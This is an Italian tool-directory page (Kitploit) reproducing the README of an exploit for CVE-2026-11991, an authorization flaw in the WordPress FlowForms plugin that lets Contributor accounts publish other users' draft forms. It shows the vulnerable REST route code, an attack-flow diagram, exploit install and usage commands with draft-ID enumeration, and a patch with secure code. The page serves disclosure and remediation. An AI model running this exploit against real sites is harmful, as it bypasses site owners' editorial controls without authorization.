Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-11991-Exploit — # Exploit automatizzato per CVE-2026-11991, un bypass dell'autorizzazione nel plugin WordPress FlowForms che consente agli utenti Contributor+ di pubblicare qualsiasi modulo in bozza tramite richieste REST API appositamente costruite. | Kitploit
Strumenti/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

# Exploit automatizzato per CVE-2026-11991, un bypass dell'autorizzazione nel plugin WordPress FlowForms che consente agli utenti Contributor+ di pubblicare qualsiasi modulo in bozza tramite richieste REST API appositamente costruite.

Vedi Repository
13h 20m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-11991 — Pubblicazione Non Autorizzata di Moduli in FlowForms

Bypass dell'Autorizzazione (Contributor+) per Pubblicare Qualsiasi Modulo Bozza in FlowForms ≤ 1.1.1

Panoramica della Vulnerabilità

ProprietàValore
ID CVECVE-2026-11991
Punteggio CVSS6.2 — Medio
Vettore CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente)
ProdottoFlowForms — Plugin WordPress per la Creazione di Moduli Conversazionali
Versioni AffetteTutte le versioni fino alla 1.1.1 inclusa
Corretta In1.1.2
RicercatorePhantom Hat

Analisi Tecnica

Caso di studio completo white-box con analisi del codice sorgente, tracciamento del flusso di input e confronto delle patch:

📄 Caso di Studio CVE-2026-11991 — Medium

Superficie d'Attacco

FlowForms espone una REST API sotto il namespace flowforms/v1. L'endpoint di pubblicazione:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

accetta un {id} controllato dall'utente nel percorso URL e promuove un modulo bozza al sito live.

Causa Principale

Il permission_callback per la rotta /publish esegue solo un controllo generico delle capacità:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts è una capacità posseduta dai Contributors — un ruolo che WordPress limita intenzionalmente dalla pubblicazione di contenuti. Non esiste alcuna verifica di proprietà rispetto al form_id di destinazione. Qualsiasi utente autenticato può pubblicare qualsiasi modulo bozza sul sito.

Flusso dell'Attacco

root@kitploit:~
Attaccante (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Autenticazione come Contributor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Raccolta del nonce REST
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerazione dei moduli bozza
        │<─ "Form Not Published" ───────────│      (risposta non autenticata)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Attivazione della pubblicazione su
        │        {id}/publish ─────────────>│      qualsiasi ID di modulo bozza
        │                                   │      ← nessun controllo di proprietà
        │<─ { "success": true } ────────────│
        │                                   │
        │   Il modulo è ora LIVE sul sito   │  (5) La bozza bypassa
        │   senza approvazione editoriale   │      il flusso di lavoro editoriale

Utilizzo dell'Exploit

Prerequisiti

  • Python 3.8+
  • Un account autenticato con almeno il ruolo Contributor sul sito di destinazione

Installazione

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

Utilizzo Base

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Con Proxy (Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Riferimento Completo dei Flag

FlagDescrizioneObbligatorio
--urlURL WordPress di destinazione✅
--userNome utente WordPress (Contributor+)✅
--passwordPassword WordPress✅
--num_formsNumero di ID modulo da enumerare✅
--id_startID modulo iniziale per l'enumerazione✅
--proxyURL del proxy (es. http://127.0.0.1:8080)❌

Flusso di Lavoro dello Sfruttamento

L'exploit esegue tre passaggi automatizzati:

Passaggio 1 — Autenticazione Effettua il login come attaccante (Contributor) e raccoglie un nonce REST API valido da wp-admin.

Passaggio 2 — Enumerazione delle Bozze Scansiona GET /flowform/{id} nell'intervallo di ID specificato. I moduli che restituiscono "Form Not Published" vengono raccolti come obiettivi — si tratta di moduli bozza di cui l'attaccante non possiede la proprietà.

Passaggio 3 — Pubblicazione Invia POST /flowforms/v1/forms/{id}/publish con il nonce dell'attaccante. L'endpoint accetta la richiesta, promuove la bozza e rende il modulo live — senza alcun controllo di autorizzazione sulla proprietà.


Rimedio

AzioneDettagli
PatchSostituire il controllo generico edit_posts con current_user_can('edit_post', $form_id) — il secondo argomento vincola il controllo delle capacità all'oggetto post specifico, applicando le regole di proprietà di WordPress
MitigazioneFino alla correzione, limitare i ruoli Contributor e Author se il plugin è attivo

Implementazione Sicura

root@kitploit:~
// VULNERABILE
'permission_callback' => fn() => current_user_can('edit_posts'),

// SICURO (corretto)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Riferimenti

  • CWE-639 — Bypass dell'Autorizzazione tramite Chiave Controllata dall'Utente
  • register_rest_route() — Documentazione Sviluppatori WordPress
  • current_user_can() — Documentazione Sviluppatori WordPress
  • Plugin FlowForms — WordPress.org

Struttura del Progetto

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Exploit rifinito con interfaccia ricca
├── requirements.txt            # Dipendenze Python
└── README.md                   # Questo file

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi di ricerca educativa. L'accesso non autorizzato a sistemi informatici è illegale secondo le leggi applicabili in tutto il mondo. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software. Ottenere sempre un'autorizzazione scritta esplicita prima di testare qualsiasi sistema di cui non si è proprietari.


Autore

Phantom Hat — Ricercatore di Sicurezza Indipendente

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Questa ricerca è stata condotta come parte della divulgazione responsabile delle vulnerabilità.

Scarica lo strumento